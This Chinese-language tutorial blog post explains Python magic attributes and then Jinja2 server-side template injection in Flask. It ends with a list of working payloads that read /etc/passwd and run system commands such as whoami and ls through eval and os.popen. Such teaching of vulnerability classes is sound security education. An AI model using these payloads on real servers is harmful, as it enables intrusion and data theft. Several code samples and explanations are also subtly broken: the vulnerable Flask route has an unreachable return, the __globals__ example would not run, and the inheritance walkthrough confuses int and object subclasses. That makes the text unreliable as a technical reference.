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python之SSTI漏洞介绍

sangfor_edu 2024-07-03 00:01:02

简介python之SSTI漏洞介绍

SSTI模板注入

Python类

类（class）是Python中的一种基本的程序组织结构。它们允许定义一种新的数据类型，称为对象（object），并为该类型定义行为（即方法）。

Python中的类由关键字class定义。类包含一个类名称和类定义，类定义中包含属性和方法的声明。属性是类中的变量，方法是类中的函数。类中的方法可以访问类的属性，并且还可以在调用它们时访问该类的其他方法。

以下是一个简单的Python类的示例：

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def get_name(self):
        return self.name

    def get_age(self):
        return self.age

在上面的代码中，我们定义了一个名为“Person”的类，它有两个属性：name和age。该类还定义了两个方法：getname和getage。init方法是一种特殊的方法，它在创建对象时自动调用，并用于初始化对象的属性。

使用类来创建对象的过程称为实例化。要创建一个Person对象，我们可以使用以下代码：

person = Person("Alice", 25)

在上面的代码中，我们使用Person类创建了一个名为“person”的对象，并将其赋给一个变量。我们还向该对象传递了两个参数：名称“Alice”和年龄“25”。

一旦创建了对象，我们可以通过调用其方法来访问其属性：

print(person.get_name()) # Output: Alice
print(person.get_age()) # Output: 25

通过这种方式，类允许我们定义一种新的数据类型，并在程序中创建多个该类型的对象。这使得代码更容易组织和管理，并使其更易于扩展。

Python 中的魔术方法

class

在 Python 中，__class__ 是一个特殊属性，用于访问对象所属的类。当创建一个对象时，Python 会自动将该对象的类存储在 __class__ 属性中。

举个例子，假设定义了一个类 MyClass：

class MyClass:
def __init__(self, name):
self.name = name

然后创建了一个该类的实例：

my_obj = MyClass("example")

可以使用 __class__ 属性来获取 my_obj 对象所属的类：

print(my_obj.__class__)

输出：

<class '__main__.MyClass'>

注意，__class__ 属性是一个特殊的属性，通常情况下不需要直接访问它。相反，你应该使用 type() 函数来获取一个对象的类，例如：

print(type(my_obj))

输出：

<class '__main__.MyClass'>

这两种方法都可以用来获取对象的类。

mro

在 Python 中，每个类都有一个 Method Resolution Order（MRO）（方法解析顺序），它定义了解析方法和属性的顺序。在多重继承的情况下，类可以从多个父类继承方法和属性。MRO 确定了在这种情况下 Python 解析哪个方法或属性。

在 Python 中，每个类都有一个__mro__属性，它是一个元组，包含了类及其父类的顺序。当在一个类中调用方法或属性时，Python 将首先检查该类的__mro__属性中的第一个父类，然后是第二个，以此类推，直到找到所需的方法或属性。

例如，假设你有以下类：

class A:
    def foo(self):
        print("A.foo")

class B(A):
    def foo(self):
        print("B.foo")

class C(A):
    def foo(self):
        print("C.foo")

class D(B, C):
    pass

这里类 D 继承自类 B 和 C，它们都继承自类 A。在这种情况下，类 D 的__mro__属性为：

(D, B, C, A, object)

当在类 D 中调用方法 foo() 时，Python 将首先检查类 B 中的 foo() 方法，然后是类 C 中的 foo() 方法，最后是类 A 中的 foo() 方法。

你可以使用以下代码访问类的__mro__属性：

print(D.__mro__)

subclasses

在 Python 中，每个类都是一个对象，可以有其自己的属性和方法。其中一个方法是 __subclasses__()，它可以返回当前类的直接子类列表。

具体地说，当调用一个类的 __subclasses__() 方法时，它会返回一个列表，其中包含所有直接从该类派生的子类。例如：

class A:
    pass

class B(A):
    pass

class C(A):
    pass

print(A.__subclasses__()) # [__main__.B, __main__.C]

在这个例子中，我们定义了三个类：A，B 和 C。B 和 C 都是从 A 派生的子类。在 A 类的 __subclasses__() 方法中调用时，它返回一个包含 B 和 C 的列表。

需要注意的是，__subclasses__() 方法只返回直接子类，而不是所有子类。如果一个类有一个子类，而这个子类又有一个子类，那么 __subclasses__() 方法在父类上调用时，不会返回孙子类。

init

__init__ 是 Python 中一个特殊的方法（也称为魔术方法或构造函数），用于在创建对象时进行初始化操作。每当使用 class 关键字创建一个新类时，都会自动创建一个 __init__ 方法。该方法在创建对象时自动调用，并且必须作为第一个参数接受 self 参数，它表示正在创建的对象。

通常，在 __init__ 方法中，我们将对象的属性设置为其默认值或传入的参数值。例如：

class MyClass:
    def __init__(self, name, age):
        self.name = name
        self.age = age

在这个例子中，我们创建了一个名为 MyClass 的类，它有两个属性：name 和 age。在 __init__ 方法中，我们将传入的 name 和 age 参数分别赋值给了对象的 name 和 age 属性。这样，在创建一个 MyClass 对象时，我们就可以通过传入不同的参数值来初始化不同的对象。

需要注意的是，Python 中的类和对象都可以动态地添加属性和方法，因此 __init__ 方法并不是必须的。如果一个类没有定义 __init__ 方法，Python 会自动创建一个空的 __init__ 方法。但是，在大多数情况下，我们都需要在创建对象时进行一些初始化操作，因此 __init__ 方法是非常常用的。

globals

在 Python 中，__globals__ 是一个特殊属性，它包含一个字典，其中存储了当前作用域中所有的全局变量和函数。

具体地说，当在一个函数或方法内部访问 __globals__ 属性时，它会返回一个字典，其中包含了该函数或方法所在的模块中定义的所有全局变量和函数。例如：

x = 10

def my_func():
print(__globals__)

my_func() # {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'x': 10, 'my_func': <function my_func at 0x000001>}

在这个例子中，我们定义了一个全局变量 x 和一个函数 my_func()，然后在 my_func() 函数中访问了 __globals__ 属性。在输出中，我们可以看到 __globals__ 返回了一个字典，其中包含了当前模块中定义的所有全局变量和函数。

需要注意的是，虽然 __globals__ 属性提供了一种访问全局变量和函数的方法，但通常不建议在函数内部直接使用它。这是因为，过度依赖全局变量会使代码难以理解和维护，并且会增加代码出错的可能性。因此，在编写 Python 代码时，应该尽可能避免使用全局变量，而是通过参数和返回值来传递数据。

builtins

在 Python 中，__builtins__ 是一个特殊属性，它包含了 Python 解释器默认提供的内置函数、变量和异常类的命名空间。也就是说，所有 Python 程序都可以直接使用 __builtins__ 中的内置函数、变量和异常类，而无需显式导入。

例如，我们可以在 Python 命令行解释器中直接访问 __builtins__：

>>> print(__builtins__)
<module 'builtins' (built-in)>

在上面的示例中，我们访问了 __builtins__，并将其作为参数传递给 print() 函数。__builtins__ 返回了一个模块对象，表示 Python 解释器默认提供的内置函数、变量和异常类。

需要注意的是，尽管 __builtins__ 包含了很多有用的内置函数和变量，但在编写 Python 代码时，不应该滥用它。这是因为过度依赖内置函数和变量会使代码难以理解和维护，并且可能会导致命名冲突等问题。因此，应该尽可能使用模块、类、函数等封装机制，避免直接使用 __builtins__ 中的函数和变量。

SSTI模板注入

SSTI（Server-Side Template Injection，服务端模板注入）是一种Web应用程序安全漏洞，它允许攻击者向Web应用程序发送恶意请求，以注入并执行服务器端模板引擎中的代码。

模板引擎通常是用来处理动态内容的，例如生成HTML网页或电子邮件，可以允许程序员使用模板来组合预定义的HTML标记、JavaScript脚本和其他数据。模板引擎的基本工作原理是将模板和数据合并到一起，以生成最终输出。

在SSTI攻击中，攻击者向Web应用程序发送包含恶意模板代码的请求。如果应用程序未对这些代码进行充分验证和过滤，那么恶意代码将被注入到模板引擎中，然后被执行。这可能导致应用程序的机密信息泄露，或者使攻击者能够在受攻击的服务器上执行任意代码，从而完全接管服务器。

Python-Flask模板注入

Python-Flask 框架之所以会存在 SSTI 漏洞，是因为它使用 Jinja2 作为默认的模板引擎。Jinja2 是一个功能强大的模板引擎，它允许使用者在模板中使用变量和表达式来生成动态内容，但同时也可能导致模板注入漏洞。

在jinja2中，存在三种语法

控制结构 {% %}
变量取值 {{ }}
注释 {# #}

下面是一个简单的 Python-Flask 应用程序的代码示例，其中包含了一个 SSTI 漏洞：

from flask import Flask,render_template,request,render_template_string

app = Flask(__name__)

@app.route('/')
def index():

return render_template("index.html")
    name = request.args.get('name', '')
    return render_template_string(name)

if __name__ == '__main__':
    app.run()

在这个示例中，我们定义了一个简单的 Flask 应用程序，它有一个路由函数 index()，用于渲染一个名为 index.html 的模板。模板中包含了一个变量 {{name}}，它用于显示用户输入的名称。

如果我们使用 Flask 内置的 Web 服务器来运行这个应用程序，并向 /?name=test 发送请求，那么页面将显示 "test"。这是因为 Flask 会将请求中的 name 参数传递给模板，并使用 Jinja2 来渲染模板。

然而，如果我们将请求中的 name 参数设置为一个包含恶意代码的字符串，比如

{{config.items()[0][1].__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

服务器就会执行这段代码，并返回一个包含敏感信息的响应。

这是因为在 Jinja2 中，双大括号 {{}} 中的任何表达式都会被求值并转义后插入到 HTML 中。如果用户可以控制这些表达式，就可以利用 SSTI 漏洞注入任意的 Python 代码，并在服务器上执行它们。

语法解析

config.items()

config.items() 是 Flask 应用程序的配置项字典，它包含了应用程序的所有配置选项和它们的值。在 Python 中，字典是一种键值对的数据结构，可以使用键来访问和修改值。

config.items() 返回一个包含所有配置项和它们的值的元组列表。每个元组包含两个元素，第一个元素是配置项的名称，第二个元素是配置项的值。

config.items()[0] 是元组列表的第一个元素，它包含了第一个配置项的名称和值。

因为这个元素也是一个元组，所以我们可以使用 [1] 来访问元组的第二个元素，即第一个配置项的值。因此

{ config.items()[0][1] }} 会返回 Flask 应用程序配置中第一个配置项的值，通常是应用程序的 DEBUG 配置项的值。

具体来说，当 Flask 应用程序渲染包含 {{ config.items()[0][1] }} 的模板时，Jinja2 模板引擎会首先调用 config.items() 方法，该方法返回一个包含所有配置项的列表，其中每个元素是一个包含键值对的元组。接着，模板引擎会对这个列表使用索引操作 [0] 获取第一个元素，也就是第一个键值对的元组。最后，模板引擎再次使用索引操作 [1] 获取该键值对的值，即 Flask 应用程序配置中第一个配置项的值。

由于 Flask 应用程序的默认配置中，第一个配置项是 DEBUG，因此 {{ config.items()[0][1] }} 通常会返回 False，即默认的 DEBUG 配置项的值。但是如果应用程序的配置中将 DEBUG 设置为 True，那么 {{ config.items()[0][1] }} 将会返回 True。

config.items()[0][1].__class__

如果在 Flask 应用程序中将 DEBUG 配置项设置为 True，那么使用 {{config.items()[1][1] }} 将返回 True，这是一个布尔值。

因此，如果使用 {{config.items()[1][1].__class__}} 来获取 DEBUG 配置项的值的类型，它将返回 <type 'bool'>，即布尔值类型。

config.items()[0][1].__class__.__mro__

config.items()[0][1] 是一个布尔值，它的类型是 <type 'bool'>。如果我们使用 __class__ 方法获取该对象所属的类，我们将得到 <type 'bool'>。然后，我们可以使用 __mro__ 属性获取该类的继承关系，即 <type 'bool'>, <type 'int'>, <type 'object'>。这是因为在 Python 中，布尔类型是从整数类型派生而来的，因此在其继承链中包含 int 类型。

config.items()[0][1].__class_.__mro__[1]

config.items()[0][1] 是一个布尔值，它的类型是 <class 'bool'>。我们可以使用 __class__ 方法获取该对象所属的类，然后使用 __mro__ 属性获取该类的继承关系，即 <class 'bool'>, <class 'int'>, <class 'object'>。因为 int 是 <class 'bool'> 的父类，所以 __subclasses__() 方法返回所有直接派生自 int 的子类，包括其他标准库和第三方库中的类。

config.items()[0][1].class.__mro__[1].__subclasses__()

__subclasses__() 是 Python 内置的一个方法，可以返回一个类的所有直接子类构成的列表。在这个列表中，每一个元素都是一个直接继承自父类的子类。

__subclasses__()[x] 表示取该列表中的第 x 个元素，也就是第 x+1 个直接子类。

{{config.items()[0][1].__class__.__mro__[2].__subclasses__()}} 返回的是所有继承自 <class 'object'> 的类的列表，其中包括Python标准库中定义的类以及用户自定义的类

config.items()[0][1].class.__mro__[1].__subclasses__()[x].__init_.__globals__

{{config.items()[0][1].__class__.__mro__[1].__subclasses__()[75].__init__.__globals__}} 返回的是一个包含当前环境中所有全局变量和它们的值的字典。在这个上下文中，config.items()[0][1].__class__.__mro__[1].__subclasses__()[75].__init__ 实际上是一个函数对象，它是Python标准库中一个特定的类的__init__方法。通过访问这个函数对象的__globals__属性，我们可以获取它所在的命名空间中的所有全局变量。

config.items()[0][1].__class__.__mro__[1].__subclasses__()[x].__init_.__globals__.__builtins__

{{config.items()[0][1].__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__}}

是一个模板注入的代码，它访问了当前 Python 运行环境中的内置模块，也就是 __builtins__。通过这段代码，攻击者可以利用 __builtins__ 模块中的任意函数来执行任意代码，例如在 Flask 应用中执行系统命令或者打开远程 shell 等。

由于 __builtins__ 是一个内置模块，其内部包含了许多 Python 的内置函数和对象，因此 {{config.items()[0][1].__class__.__mro__[1].__subclasses__()[x].__init__.__globals__.__builtins__}} 实际上返回了一个内置模块的字典，其中包含了所有内置函数和对象。可以通过访问这个字典来调用内置函数,例如

{{config.items()[0][1].__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls").read()')}}

上面的代码使用了 eval 函数来执行 __import__("os").popen("ls").read() 代码，这段代码会执行系统命令 ls 并将结果返回。因此，这个模板注入的代码会返回当前目录下的文件列表。

常见SSTI的payload

文件读写

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

命令执行

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}

{{config.items()[0][1].__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls").read()')}}

{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}